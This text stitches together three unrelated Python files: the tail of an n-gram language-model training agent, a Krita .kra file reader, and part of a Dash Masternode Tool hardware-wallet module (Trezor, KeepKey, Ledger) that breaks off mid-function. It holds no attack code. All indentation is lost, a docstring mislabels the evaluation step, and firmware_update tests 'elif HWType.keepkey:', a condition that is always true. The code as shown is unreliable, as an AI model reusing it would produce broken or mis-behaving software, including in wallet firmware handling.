(list of strings of length batchsize).
"""
if xs is None:
return
xs = xs.to(self.device)
ys = ys.to(self.device)
self.zero_grad()
self.encoder.train()
self.decoder.train()
bow_output = self.encoder(xs)
decoder_output = self.decoder(bow_output)
loss = self.criterion(decoder_output, ys.view(-1))
loss.backward()
self.update_params()
_max_score, predictions = decoder_output.max(1)
return self.v2t(predictions), loss.item()
def eval_step(self, xs, ys):
"""Train model to produce ys given xs.
:param batch: parlai.core.torch_agent.Batch, contains tensorized
version of observations.
Return estimated responses, with teacher forcing on the input sequence
(list of strings of length batchsize).
"""
if xs is None:
return
xs = xs.to(self.device)
ys = ys.to(self.device)
self.encoder.eval()
self.decoder.eval()
bow_output = self.encoder(xs)
decoder_output = self.decoder(bow_output)
loss = self.criterion(decoder_output, ys.view(-1))
_max_score, predictions = decoder_output.max(1)
return self.v2t(predictions), loss.item()
def evaluate(self, xs, use_context=False, score_only=False):
"""Generate a response to the input tokens.
:param batch: parlai.core.torch_agent.Batch, contains tensorized
version of observations.
Return predicted responses (list of strings of length batchsize).
"""
if xs is None:
return
xs = xs.to(self.device)
bsz = xs.size(0)
ys = torch.cat((xs[0, 1:].unsqueeze(0), torch.LongTensor([[gl.EOS_IDX]])), dim=1)
# just predict
self.encoder.eval()
self.decoder.eval()
if score_only or not use_context:
encoder_input = torch.LongTensor([gl.SOS_IDX] * self.size_ngrams)
encoder_input = encoder_input.unsqueeze(0).repeat(bsz, 1)
else:
if xs.size(1) >= self.size_ngrams:
encoder_input = xs[-self.size_ngrams:]
else:
encoder_input = torch.LongTensor([[gl.SOS_IDX] * (self.size_ngrams - xs.size(1))])
encoder_input = torch.cat((encoder_input, xs), dim=1) # this needs to be of shape bsz, self.size_ngrams
predictions = []
done = [False for _ in range(bsz)]
total_done = 0
scores = torch.zeros(bsz)
score_counts = 0
if score_only:
num_predictions = xs.size(1)
else:
num_predictions = self.longest_label
for i in range(num_predictions):
decoder_input = self.encoder(encoder_input)
decoder_output = self.decoder(decoder_input)
loss = self.criterion(decoder_output, torch.LongTensor([ys[0][i]]))
_max_score, next_token = decoder_output.max(1)
scores = scores + loss.item()
score_counts += 1
if score_only: # replace the next token with the one in the input data
next_token = torch.index_select(xs, 1, torch.tensor([i])).squeeze(1)
predictions.append(next_token)
indices = torch.tensor([i for i in range(1, self.size_ngrams)])
prev_tokens = torch.index_select(encoder_input, 1, indices)
encoder_input = torch.cat((prev_tokens, next_token.unsqueeze(1)), 1)
# stop if you've found the
for b in range(bsz):
if not done[b]:
# only add more tokens for examples that aren't done
if next_token[b].item() == self.END_IDX:
# if we produced END, we're done
done[b] = True
total_done += 1
if total_done == bsz:
# no need to generate any more
break
predictions = [self.v2t(p) for p in predictions]
scores = scores / score_counts
return predictions, scores
|
import zipfile
import os
#import PIL
from lxml import etree as ET
__author__ = 'pierre'
ns = {'kra': 'http://www.calligra.org/DTD/krita'}
class Kra(object):
maindoc_xml = None
merged_image = None
basename = None
icc = None
icc_path = None
kra_name = None
def __init__(self, krafile):
kra = zipfile.ZipFile(krafile)
self.__merged_image_path = None
self.filename = os.path.basename(krafile)
self.basename, _ = self.filename.split('.')
self.merged_image = kra.read('mergedimage.png')
self.xml = ET.fromstring(kra.read('maindoc.xml'))
self.kra_name = self.xml.find('.//kra:IMAGE', ns).attrib['name']
self.icc = kra.read('{basename}/annotations/icc'.format(basename=self.kra_name))
@property
def merged_image_path(self):
return self.__merged_image_path
@merged_image_path.setter
def merged_image_path(self, path):
self.__merged_image_path = path
def get_basename(self):
return self.basename
def get_merged_image(self):
return self.merged_image
def get_icc(self):
x = self.xml.find('.//kra:IMAGE', ns)
icc_name = x.attrib['profile']
return {'name': icc_name, 'data': self.icc} |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Bertrand256
# Created on: 2017-03
from __future__ import annotations
import functools
import hashlib
import re
import urllib, urllib.request, urllib.parse
from functools import partial
from io import BytesIO
from typing import Optional, Tuple, List, ByteString, Dict, cast, Any, Literal
import sys
import simplejson
import trezorlib
import trezorlib.btc
import trezorlib.exceptions
import trezorlib.misc
import keepkeylib.client
import usb1
from PyQt5.QtCore import pyqtSlot, QObject
from PyQt5 import QtWidgets, QtCore
from PyQt5.QtWidgets import QDialog, QWidget
from trezorlib.tools import Address
import app_defs
import dash_utils
from app_runtime_data import AppRuntimeData
from dash_utils import bip32_path_n_to_string
from hw_common import HWType, HWDevice, HWPinException, get_hw_type_from_client, HWNotConnectedException, \
DEFAULT_HW_BUSY_TITLE, DEFAULT_HW_BUSY_MESSAGE, HWSessionBase, HWFirmwareWebLocation, HWModel
import logging
from method_call_tracker import MethodCallTracker
from thread_fun_dlg import CtrlObject
from wallet_common import UtxoType, TxOutputType
from wnd_utils import WndUtils
import hw_intf_ledgernano as ledger
import hw_intf_keepkey as keepkey
import hw_intf_trezor as trezor
from app_defs import get_note_url
from app_utils import SHA256, url_path_join
from common import CancelException, InternalError
from thread_utils import EnhRLock
# Dict[str <hd tree ident>, Dict[str <bip32 path>, Tuple[str <address>, int <db id>]]]
bip32_address_map: Dict[str, Dict[str, Tuple[str, int]]] = {}
hd_tree_db_map: Dict[str, int] = {} # Dict[str <hd tree ident>, int <db id>]
log = logging.getLogger('dmt.hw_intf')
def control_hw_call(func):
"""
Decorator for some of the hardware wallet functions. It ensures, that hw client connection is open (and if is not,
it makes attempt to open it). The s econt thing is to catch OSError exception as a result of disconnecting
hw cable. After this, connection has to be closed and opened again, otherwise 'read error' occurs.
:param func: function decorated. First argument of the function has to be the reference to the MainWindow object.
"""
def catch_hw_client(*args, **kwargs):
hw_session: HwSessionInfo = args[0]
client = hw_session.hw_client
if not client:
client = hw_session.hw_connect()
if not client:
raise HWNotConnectedException()
try:
try:
# protect against simultaneous access to the same device from different threads
hw_session.acquire_client()
if hw_session.hw_type == HWType.trezor:
try:
ret = func(*args, **kwargs)
except trezorlib.exceptions.PinException as e:
raise HWPinException(e.args[1])
elif hw_session.hw_type == HWType.keepkey:
try:
ret = func(*args, **kwargs)
except keepkeylib.client.PinException as e:
raise HWPinException(e.args[1])
elif hw_session.hw_type == HWType.ledger_nano:
ret = func(*args, **kwargs)
else:
raise Exception('Unknown hardware wallet type: ' + str(hw_session.hw_type))
finally:
hw_session.release_client()
except (OSError, usb1.USBErrorNoDevice) as e:
logging.exception('Exception calling %s function' % func.__name__)
logging.info('Disconnecting HW after OSError occurred')
hw_session.hw_disconnect()
raise HWNotConnectedException('The hardware wallet device has been disconnected with the '
'following error: ' + str(e))
except HWPinException:
raise
except CancelException:
raise
except Exception:
logging.exception('Exception calling %s function' % func.__name__)
raise
return ret
return catch_hw_client
def get_hw_device_state_str(hw_device: HWDevice):
"""Returns a string that comprises of all the information that relates to a hw device state. Used mainly to
estimate whether the UI should refresh the information about a given device."""
dev_state_str = ''
if hw_device:
dev_state_str = hw_device.device_id + '|' + ('B' if hw_device.bootloader_mode else 'NB') + '|' + \
('I' if hw_device.initialized else 'NI') + '|' + ('L' if hw_device.locked else 'U') + '|' + \
str(hw_device.device_label)
return dev_state_str
def get_device_list(hw_types: Tuple[HWType, ...], allow_bootloader_mode: bool = False,
use_webusb=True, use_bridge=True, use_udp=True, use_hid=True, passphrase_encoding='NFC') \
-> List[HWDevice]:
dev_list = []
if HWType.trezor in hw_types:
try:
devs = trezor.get_device_list(allow_bootloader_mode=allow_bootloader_mode,
use_webusb=use_webusb, use_bridge=use_bridge, use_udp=use_udp, use_hid=use_hid)
dev_list.extend(devs)
except Exception as e:
log.exception('Exception while connecting Trezor device: ' + str(e))
if HWType.keepkey in hw_types:
try:
devs = keepkey.get_device_list(passphrase_encoding, allow_bootloader_mode=allow_bootloader_mode)
dev_list.extend(devs)
except Exception as e:
log.exception('Exception while connecting Keepkey device: ' + str(e))
if HWType.ledger_nano in hw_types:
try:
devs = ledger.get_device_list(allow_bootloader_mode=allow_bootloader_mode)
dev_list.extend(devs)
except Exception as e:
log.exception('Exception while connecting Ledger Nano device: ' + str(e))
return dev_list
def cancel_hw_thread_dialog(hw_client):
try:
hw_type = get_hw_type_from_client(hw_client)
if hw_type == HWType.trezor:
hw_client.cancel()
elif hw_type == HWType.keepkey:
hw_client.cancel()
elif hw_type == HWType.ledger_nano:
return False
raise CancelException('Cancel')
except CancelException:
raise
except Exception as e:
logging.warning('Error when canceling hw session. Details: %s', str(e))
return True
def cancel_hw_operation(hw_client):
try:
hw_type = get_hw_type_from_client(hw_client)
if hw_type in (HWType.trezor, HWType.keepkey):
hw_client.cancel()
except Exception as e:
logging.error('Error when cancelling hw operation: %s', str(e))
def get_hw_label(hw_client):
hw_type = get_hw_type_from_client(hw_client)
if hw_type in (HWType.trezor, HWType.keepkey):
return hw_client.features.label
elif hw_type == HWType.ledger_nano:
return 'Ledger Nano S'
def firmware_update(hw_client, raw_data: bytes):
hw_type = get_hw_type_from_client(hw_client)
if hw_type == HWType.trezor:
trezor.firmware_update(hw_client, raw_data)
elif HWType.keepkey:
hw_client.firmware_update(fp=BytesIO(raw_data))
elif hw_type == HWType.ledger_nano:
raise Exception('Ledger Nano S is not supported.')
def action_on_device_message(message=DEFAULT_HW_BUSY_MESSAGE, title=DEFAULT_HW_BUSY_TITLE, is_method_call: bool = False):
def decorator_f(func):
def wrapped_f(*args, **kwargs):
hw_client = None
hw_client_names = ('MyTrezorClient', 'KeepkeyClient')
# look for hw client:
for arg in args:
name = type(arg).__name__
if name in hw_client_names:
hw_client = arg
break
elif name == 'HWDevice':
hw_client = arg.hw_client
break
if not hw_client:
for arg_name in kwargs:
name = type(kwargs[arg_name]).__name__
if name in hw_client_names:
hw_client = kwargs[arg_name]
break
elif name == 'HWDevice':
hw_client = kwargs[arg_name].hw_client
break
def thread_dialog(ctrl):
if ctrl:
ctrl.dlg_config(dlg_title=title, show_progress_bar=False)
ctrl.display_msg(message)
if is_method_call and len(args):
return func(*args[1:], **kwargs) # if the call relates to a method call, skip passing the self
# attribute, which is the first one
else:
return func(*args, **kwargs)
return WndUtils.run_thread_dialog(thread_dialog, (), True, show_window_delay_ms=1000,
force_close_dlg_callback=partial(cancel_hw_thread_dialog, hw_client))
return wrapped_f
return decorator_f
@action_on_device_message()
def ping_device(hw_device: HWDevice, message: str):
def ledger_ping(ctrl):
"""The only way to make Ledger Nano to display a message is to use the message signing feature."""
message = "Ping from DMT"
message_hash = hashlib.sha256(message.encode('ascii')).hexdigest().upper()
ctrl.dlg_config(dlg_title=message, show_progress_bar=False)
display_label = '<b>This is a "ping" message from DMT</b> (we had to use the message signing feature).<br>' \
'<b>Message: </b>' + message + '<br>' \
'<b>SHA256 hash:</b> ' + message_hash + '<br>' \
'<br>Click "Sign" on the device to close this dialog.</b>'
ctrl.display_msg(display_label)
try:
ledger.sign_message(hw_device.hw_client, dash_utils.get_default_bip32_path('MAINNET'), message, None)
except CancelException:
pass
if hw_device.hw_type == HWType.trezor:
trezor.ping(hw_device.hw_client, message)
elif hw_device.hw_type == HWType.keepkey:
keepkey.ping(hw_device.hw_client, message)
elif hw_device.hw_type == HWType.ledger_nano:
WndUtils.run_thread_dialog(ledger_ping, (), True, force_close_dlg_callback=partial(cancel_hw_thread_dialog,
hw_device.hw_client))
else:
logging.error('Invalid HW type: ' + str(hw_device.hw_type))
@action_on_device_message()
def change_pin(hw_device: HWDevice, remove=False):
if hw_device and hw_device.hw_client:
if hw_device.hw_type == HWType.trezor:
return trezor.change_pin(hw_device.hw_client, remove)
elif hw_device.hw_type == HWType.keepkey:
return keepkey.change_pin(hw_device.hw_client, remove)
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Ledger Nano S is not supported.')
else:
logging.error('Invalid HW type: ' + str(hw_device.hw_type))
@action_on_device_message()
def set_passphrase_option(hw_device: HWDevice, enabled: bool):
if hw_device.hw_type == HWType.trezor:
trezor.enable_passphrase(hw_device.hw_client, enabled)
elif hw_device.hw_type == HWType.keepkey:
keepkey.enable_passphrase(hw_device.hw_client, enabled)
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Ledger Nano is not supported.')
else:
logging.error('Invalid HW type: ' + str(hw_device.hw_type))
@action_on_device_message()
def set_label(hw_device: HWDevice, label: str):
if hw_device and hw_device.hw_client:
if hw_device.hw_type == HWType.trezor:
return trezor.set_label(hw_device.hw_client, label)
elif hw_device.hw_type == HWType.keepkey:
return keepkey.set_label(hw_device.hw_client, label)
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Ledger Nano S is not supported.')
else:
logging.error('Invalid HW type: ' + str(hw_device.hw_type))
@action_on_device_message()
def set_passphrase_always_on_device(hw_device: HWDevice, enabled: bool):
if hw_device.hw_type == HWType.trezor:
trezor.set_passphrase_always_on_device(hw_device.hw_client, enabled)
elif hw_device.hw_type == HWType.keepkey:
raise Exception('Keepkey is not not supported.')
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Ledger Nano S is not supported.')
else:
logging.error('Invalid HW type: ' + str(hw_device.hw_type))
@action_on_device_message()
def set_wipe_code(hw_device: HWDevice, remove: bool):
if hw_device.hw_type == HWType.trezor:
trezor.set_wipe_code(hw_device.hw_client, remove)
elif hw_device.hw_type == HWType.keepkey:
raise Exception('Keepkey is not supported.')
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Ledger Nano S is not supported.')
else:
logging.error('Invalid HW type: ' + str(hw_device.hw_type))
@action_on_device_message()
def set_sd_protect(hw_device: HWDevice, operation: Literal["enable", "disable", "refresh"]):
if hw_device.hw_type == HWType.trezor:
trezor.sd_protect(hw_device.hw_client, operation)
elif hw_device.hw_type == HWType.keepkey:
raise Exception('Keepkey is not supported.')
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Ledger Nano S is not supported.')
else:
logging.error('Invalid HW type: ' + str(hw_device.hw_type))
def hw_connection_tracker(func):
"""
The purpose of this decorator function is to track:
a) whether the connection state to the hardware wallet has changed
b) whether selected hw device has changed
within the HWDevices object, and if so, to emit appropriate Qt signals. We are using MethodCallTracker here
to emit signals only once, even if the connection/selection status changes several times within the call chain.
Note, that the connected hardware wallet device is not the same as the selected one, as the HWDevices class has
the ability of selecting devices without the need of connecting to it.
"""
@functools.wraps(func)
def wrapper(self: HWDevices, *args, **kwargs):
def get_hw_client_state_str():
hw_device = self.get_selected_device()
if hw_device and hw_device.hw_client:
return get_hw_device_state_str(hw_device)
else:
return ''
call_count = MethodCallTracker.get_call_depth_by_class(self)
hw_client_hash_old = ''
hw_dev_hash_old = ''
if call_count == 0:
hw_client_hash_old = get_hw_client_state_str()
hw_dev_hash_old = get_hw_device_state_str(self.get_selected_device())
ret = None
with MethodCallTracker(self, func):
ret = func(self, *args, **kwargs)
if call_count == 0:
hw_hash_new = get_hw_client_state_str()
hw_dev_hash_new = get_hw_device_state_str(self.get_selected_device())
if hw_client_hash_old != hw_hash_new:
self.sig_connected_hw_device_changed.emit(self.get_selected_device())
if hw_dev_hash_old != hw_dev_hash_new:
self.sig_selected_hw_device_changed.emit(self.get_selected_device())
return ret
return wrapper
class HWDevices(QObject):
"""
Manages information about all hardware wallet devices connected to the computer.
"""
sig_selected_hw_device_changed = QtCore.pyqtSignal(object)
sig_connected_hw_device_changed = QtCore.pyqtSignal(object)
__instance = None
class HWDevicesState:
def __init__(self, connected_dev_ids: List[str], selected_device_id: Optional[str],
selected_device_model: Optional[str],
selected_device_bootloader_mode: Optional[bool],
allow_bootloader_mode: bool, hw_types_allowed: Tuple[HWType, ...]):
self.connected_device_ids: List[str] = connected_dev_ids
self.device_id_selected: Optional[str] = selected_device_id
self.selected_device_model = selected_device_model
self.selected_device_bootloader_mode = selected_device_bootloader_mode
self.allow_bootloader_mode: bool = allow_bootloader_mode
self.hw_types_allowed: Tuple[HWType, ...] = hw_types_allowed
@staticmethod
def get_instance() -> 'HWDevices':
return HWDevices.__instance
def __init__(self, use_webusb=True, use_bridge=True, use_udp=True, use_hid=True, passphrase_encoding='NFC'):
super(HWDevices, self).__init__()
if HWDevices.__instance is not None:
raise Exception('Internal error: cannot create another instance of this class')
HWDevices.__instance = self
self.__hw_devices: List[HWDevice] = []
self.__hw_device_id_selected: Optional[str] = None # device id of the hw client selected
self.__selected_device_bootloader_mode: Optional[bool] = None
self.__selected_device_model: Optional[str] = None
self.__devices_fetched = False
self.__use_webusb = use_webusb
self.__use_bridge = use_bridge
self.__use_udp = use_udp
self.__use_hid = use_hid
self.__hw_types_allowed: Tuple[HWType, ...] = (HWType.trezor, HWType.keepkey, HWType.ledger_nano)
self.__passphrase_encoding: Optional[str] = passphrase_encoding
self.__saved_states: List[HWDevices.HWDevicesState] = []
self.__allow_bootloader_mode: bool = False
def set_allow_bootloader_mode(self, allow: bool):
self.__allow_bootloader_mode = allow
def save_state(self):
connected_devices = []
for dev in self.__hw_devices:
if dev.hw_client:
connected_devices.append(dev.device_id)
self.__saved_states.append(HWDevices.HWDevicesState(
connected_devices, self.__hw_device_id_selected, self.__selected_device_model,
self.__selected_device_bootloader_mode, self.__allow_bootloader_mode, self.__hw_types_allowed))
@hw_connection_tracker
def restore_state(self):
if self.__saved_states:
state = self.__saved_states.pop()
self.__allow_bootloader_mode = state.allow_bootloader_mode
self.__hw_types_allowed = state.hw_types_allowed
# reconnect all the devices that were connected during the call of 'save_state'
for dev_id in state.connected_device_ids:
dev = self.get_device_by_id(dev_id)
if dev and not dev.hw_client:
try:
self.open_hw_session(dev)
except Exception as e:
log.error(f'Cannot reconnect device {dev.device_id} due to the following error: ' + str(e))
# disconnect all the currently connected devices where weren't connected
# during save_state
for dev in self.__hw_devices:
if dev.hw_client and dev.device_id not in state.connected_device_ids:
try:
self.close_hw_session(dev)
except Exception as e:
log.error(f'Cannot disconnect device {dev.device_id} due to the following error: ' + str(e))
# restore the currently selected device
if state.device_id_selected and (self.__hw_device_id_selected != state.device_id_selected or
self.__selected_device_model != state.selected_device_model or
self.__selected_device_bootloader_mode != state.selected_device_bootloader_mode):
dev = self.get_device_by_id(state.device_id_selected)
if dev:
self.set_current_device(dev)
else:
raise InternalError('There are no saved states')
@hw_connection_tracker
def load_hw_devices(self, force_fetch: bool = False) -> bool:
"""
Load all instances of the selected hardware wallet type. If there is more than one, user has to select which
one he is going to use.
:return True is anything has changed about the state of the connected hw devices during the process.
"""
state_changed = False
if force_fetch or not self.__devices_fetched:
# save the current state to see if anything has changed during the process
prev_dev_list = [get_hw_device_state_str(d) for d in self.__hw_devices]
prev_dev_list.sort()
if force_fetch:
self.save_state()
restore_state = True
else:
restore_state = False
self.clear_devices()
self.__hw_devices = get_device_list(
hw_types=self.__hw_types_allowed, use_webusb=self.__use_webusb,
use_bridge=self.__use_bridge, use_udp=self.__use_udp, use_hid=self.__use_hid,
passphrase_encoding=self.__passphrase_encoding,
allow_bootloader_mode=self.__allow_bootloader_mode
)
self.__devices_fetched = True
if self.__hw_device_id_selected:
if self.get_selected_device_index() is None:
self.__hw_device_id_selected = None
self.__selected_device_model = None
self.__selected_device_bootloader_mode = None
if restore_state:
try:
self.restore_state()
except Exception as e:
log.error('Error while restoring hw devices state: ' + str(e))
cur_dev_list = [get_hw_device_state_str(d) for d in self.__hw_devices]
cur_dev_list.sort()
state_changed = (','.join(prev_dev_list) != ','.join(cur_dev_list))
return state_changed
@hw_connection_tracker
def close_all_hw_clients(self):
try:
for idx, hw_inst in enumerate(self.__hw_devices):
if hw_inst.hw_client:
self.close_hw_session(hw_inst)
except Exception as e:
logging.exception(str(e))
@hw_connection_tracker
def clear_devices(self):
self.close_all_hw_clients()
self.__hw_devices.clear()
@hw_connection_tracker
def clear(self):
self.clear_devices()
self.__hw_device_id_selected = None
self.__selected_device_model = None
self.__selected_device_bootloader_mode = None
def set_hw_types_allowed(self, allowed: Tuple[HWType, ...]):
self.__hw_types_allowed = allowed[:]
def get_selected_device_index(self) -> int:
return next((i for i, device in enumerate(self.__hw_devices)
if device.device_id == self.__hw_device_id_selected), -1)
def get_devices(self) -> List[HWDevice]:
return self.__hw_devices
def get_selected_device(self) -> Optional[HWDevice]:
idx = self.get_selected_device_index()
if idx >= 0:
return self.__hw_devices[idx]
else:
return None
def get_device_by_id(self, device_id: str) -> Optional[HWDevice]:
for dev in self.__hw_devices:
if dev.device_id == device_id:
return dev
return None
@hw_connection_tracker
def set_current_device(self, device: HWDevice):
if device in self.__hw_devices:
if device.device_id != self.__hw_device_id_selected or device.model_symbol != self.__selected_device_model \
or device.bootloader_mode != self.__selected_device_bootloader_mode:
self.__hw_device_id_selected = device.device_id
self.__selected_device_model = device.model_symbol
self.__selected_device_bootloader_mode = device.bootloader_mode
else:
raise Exception('Non existent hw device object.')
@hw_connection_tracker
def set_current_device_by_index(self, index: int):
if 0 <= index < len(self.__hw_devices):
self.set_current_device(self.__hw_devices[index])
else:
raise Exception('Device index out of bounds.')
@hw_connection_tracker
def open_hw_session(self, hw_device: HWDevice, force_reconnect: bool = False):
if hw_device.hw_client and force_reconnect:
self.close_hw_session(hw_device)
reconnected = True
else:
reconnected = False
if not hw_device.hw_client:
if hw_device.hw_type == HWType.trezor:
hw_device.hw_client = trezor.open_session(hw_device.device_id, hw_device.transport_id)
if hw_device.hw_client and hw_device.hw_client.features:
hw_device.bootloader_mode = hw_device.hw_client.features.bootloader_mode
else:
hw_device.bootloader_mode = False
if reconnected and hw_device.hw_client:
trezor.apply_device_attributes(hw_device, hw_device.hw_client)
elif hw_device.hw_type == HWType.keepkey:
hw_device.hw_client = keepkey.open_session(hw_device.device_id, self.__passphrase_encoding)
if hw_device.hw_client and hw_device.hw_client.features:
hw_device.bootloader_mode = hw_device.hw_client.features.bootloader_mode
else:
hw_device.bootloader_mode = False
if reconnected:
keepkey.apply_device_attributes(hw_device, hw_device.hw_client)
elif hw_device.hw_type == HWType.ledger_nano:
hw_device.hw_client = ledger.open_session(cast(ledger.HIDDongleHIDAPI, hw_device.transport_id))
else:
raise Exception('Invalid HW type: ' + str(hw_device.hw_type))
@hw_connection_tracker
def close_hw_session(self, hw_device: HWDevice):
if hw_device.hw_client:
try:
if hw_device.hw_type == HWType.trezor:
trezor.close_session(hw_device.hw_client)
elif hw_device.hw_type == HWType.keepkey:
keepkey.close_session(hw_device.hw_client)
elif hw_device.hw_type == HWType.ledger_nano:
ledger.close_session(cast(ledger.HIDDongleHIDAPI, hw_device.transport_id))
del hw_device.hw_client
hw_device.hw_client = None
except Exception:
# probably already disconnected
logging.exception('Disconnect HW error')
@hw_connection_tracker
def select_device(self, parent_dialog, open_client_session: bool = False) -> Optional[HWDevice]:
self.load_hw_devices()
dlg = SelectHWDeviceDlg(parent_dialog, "Select hardware wallet device", self)
if dlg.exec_():
self.set_current_device(dlg.selected_hw_device)
if dlg.selected_hw_device and open_client_session:
self.open_hw_session(dlg.selected_hw_device)
return dlg.selected_hw_device
return None
def ping_device(self, hw_device: HWDevice):
opened_session_here = False
try:
if not hw_device.hw_client:
self.open_hw_session(hw_device)
opened_session_here = True
ping_device(hw_device, 'Hello from DMT')
except Exception as e:
raise
finally:
if opened_session_here:
self.close_hw_session(hw_device)
@hw_connection_tracker
def initialize_device(self, hw_device: HWDevice, word_count: int, passphrase_enabled: bool, pin_enabled: bool,
hw_label: str, parent_window=None) -> Optional[str]:
"""
Initialize device with a newly generated words.
:return: Device id. If the device is wiped before initialization, a new device id is generated.
"""
def load(ctrl) -> Optional[str]:
ctrl.dlg_config(dlg_title="Please confirm", show_progress_bar=False)
ctrl.display_msg('<b>Read the messages displayed on your hardware wallet <br>'
'and click the confirmation button when necessary...</b>')
if hw_device.device_id or hw_device.hw_client:
if hw_device.hw_type == HWType.trezor:
return trezor.initialize_device(hw_device.device_id, hw_device.transport_id, hw_device.hw_client,
strength, passphrase_enabled, pin_enabled, hw_label)
elif hw_device.hw_type == HWType.keepkey:
return keepkey.initialize_device(hw_device.device_id, hw_device.hw_client, strength,
passphrase_enabled, pin_enabled, hw_label,
self.__passphrase_encoding)
else:
raise Exception('Not supported by Ledger Nano S.')
if hw_device.hw_type == HWType.ledger_nano:
raise Exception('Not supported by Ledger Nano S.')
else:
if word_count not in (12, 18, 24):
raise Exception('Invalid word count.')
strength = {24: 32, 18: 24, 12: 16}.get(word_count) * 8
new_hw_device_id = WndUtils.run_thread_dialog(load, (), True, center_by_window=parent_window)
# during the initialization device_id (on Trezor) and some other values might have changed
# so we need to reload them
if new_hw_device_id != hw_device.device_id:
if self.__hw_device_id_selected == hw_device.device_id:
self.__hw_device_id_selected = new_hw_device_id
hw_device.device_id = new_hw_device_id
if hw_device.hw_client is not None:
try:
# reopen the client connection as some values read from it could have been changed
# during the initialization
self.open_hw_session(hw_device, force_reconnect=True)
except Exception as e:
log.warning("Couldn't reconnect hardware wallet after initialization: " + str(e))
return new_hw_device_id
@hw_connection_tracker
def recover_device(self, hw_device: HWDevice, word_count: int, passphrase_enabled: bool, pin_enabled: bool,
hw_label: str, input_type: Literal["scrambled_words", "matrix"],
parent_window=None) -> Optional[str]:
"""
Recover hardware wallet using seed words and the device screen.
:return: The device id. If the device is wiped before recovery, a new device id is generated.
"""
def load(ctrl: CtrlObject) -> Optional[str]:
ctrl.dlg_config(dlg_title="Please confirm", show_progress_bar=False)
ctrl.display_msg('<b>Read the messages displayed on your hardware wallet <br>'
'and click the confirmation button when necessary...</b>')
if hw_device.device_id or hw_device.hw_client:
if hw_device.hw_type == HWType.trezor:
return trezor.recover_device(hw_device.device_id, hw_device.transport_id, hw_device.hw_client,
word_count, passphrase_enabled, pin_enabled, hw_label, input_type,
ctrl.dialog)
elif hw_device.hw_type == HWType.keepkey:
return keepkey.recover_device(hw_device.device_id, hw_device.hw_client, word_count,
passphrase_enabled, pin_enabled, hw_label, self.__passphrase_encoding,
ctrl.dialog)
else:
raise HWNotConnectedException()
if hw_device.hw_type == HWType.ledger_nano:
raise Exception('Not supported by Ledger Nano S.')
else:
new_hw_device_id = WndUtils.run_thread_dialog(load, (), True, center_by_window=parent_window)
# during the recovery device_id (on Trezor) and some other values might have changed
# so we need to reload them
if new_hw_device_id != hw_device.device_id:
if self.__hw_device_id_selected == hw_device.device_id:
self.__hw_device_id_selected = new_hw_device_id
hw_device.device_id = new_hw_device_id
if hw_device.hw_client is not None:
try:
# reopen the client connection as some values read from it could have been changed
# during the initialization
self.open_hw_session(hw_device, force_reconnect=True)
except Exception as e:
log.warning("Couldn't reconnect hardware wallet after recovery: " + str(e))
return new_hw_device_id
@hw_connection_tracker
def recover_device_with_seed_input(self, hw_device: HWDevice, mnemonic_words: str, pin: str, passphrase: str,
secondary_pin: str) -> Optional[str]:
"""
Initializes hardware wallet with the mnemonic words provided by the user.
"""
if hw_device.device_id or hw_device.hw_client:
if hw_device.hw_type == HWType.ledger_nano:
hw_device_id = ledger.recover_device_with_seed_input(
cast(ledger.HIDDongleHIDAPI, hw_device.transport_id), mnemonic_words, pin, passphrase,
secondary_pin)
return hw_device_id
else:
raise Exception('Not available for Trezor/Keepkey')
@hw_connection_tracker
def wipe_device(self, hw_device: HWDevice, parent_window=None) -> str:
"""
Wipes the hardware wallet device.
"""
def wipe(ctrl):
ctrl.dlg_config(dlg_title="Confirm wiping device.", show_progress_bar=False)
ctrl.display_msg('<b>Read the messages displayed on your hardware wallet <br>'
'and click the confirmation button when necessary...</b>')
if hw_device.device_id or hw_device.hw_client:
if hw_device.hw_type == HWType.trezor:
return trezor.wipe_device(hw_device.device_id, hw_device.transport_id, hw_device.hw_client)
elif hw_device.hw_type == HWType.keepkey:
return keepkey.wipe_device(hw_device.device_id, hw_device.hw_client, self.__passphrase_encoding)
else:
raise Exception('Not supported by Ledger Nano.')
new_hw_device_id = WndUtils.run_thread_dialog(wipe, (), True, center_by_window=parent_window)
# during the wipe, device_id (on Trezor) and other values change, so here we need to reload them
if new_hw_device_id != hw_device.device_id:
if self.__hw_device_id_selected == hw_device.device_id:
self.__hw_device_id_selected = new_hw_device_id
hw_device.device_id = new_hw_device_id
if hw_device.hw_client is not None:
try:
# reopen the client connection as some values read from it could have been changed
# during the initialization
self.open_hw_session(hw_device, force_reconnect=True)
except Exception as e:
log.warning("Couldn't reconnect hardware wallet after initialization: " + str(e))
return new_hw_device_id
@staticmethod
def change_pin(hw_device: HWDevice, remove=False):
if hw_device and hw_device.hw_client:
change_pin(hw_device, remove)
@staticmethod
def set_passphrase_option(hw_device: HWDevice, enabled: bool):
if hw_device and hw_device.hw_client:
set_passphrase_option(hw_device, enabled)
@staticmethod
def set_passphrase_always_on_device(hw_device: HWDevice, enabled: bool):
if hw_device and hw_device.hw_client:
set_passphrase_always_on_device(hw_device, enabled)
@staticmethod
def set_wipe_code(hw_device: HWDevice, remove: bool):
if hw_device and hw_device.hw_client:
set_wipe_code(hw_device, remove)
@staticmethod
def set_sd_protect(hw_device: HWDevice, operation: Literal["enable", "disable", "refresh"]):
if hw_device and hw_device.hw_client:
set_sd_protect(hw_device, operation)
@hw_connection_tracker
def set_label(self, hw_device: HWDevice, label: str):
if hw_device and hw_device.hw_client:
set_label(hw_device, label)
if hw_device.hw_type in (HWType.trezor, HWType.keepkey) and hw_device.hw_client:
trezor.apply_device_attributes(hw_device, hw_device.hw_client)
@staticmethod
def hw_encrypt_value(hw_device: HWDevice, bip32_path_n: List[int], label: str,
value: bytes, ask_on_encrypt=True, ask_on_decrypt=True) -> Tuple[bytearray, bytearray]:
"""
Encrypts value with hardware wallet.
:return Tuple
0: encrypted data
1: public key
"""
def encrypt(ctrl: CtrlObject):
ctrl.dlg_config(dlg_title="Data encryption", show_progress_bar=False)
ctrl.display_msg(f'<b>Encrypting \'{label}\'...</b>'
f'<br><br>Enter the hardware wallet PIN/passphrase (if needed) to encrypt data.<br><br>'
f'<b>Note:</b> encryption passphrase is independent from the wallet passphrase <br>'
f'and can vary for each encrypted file.')
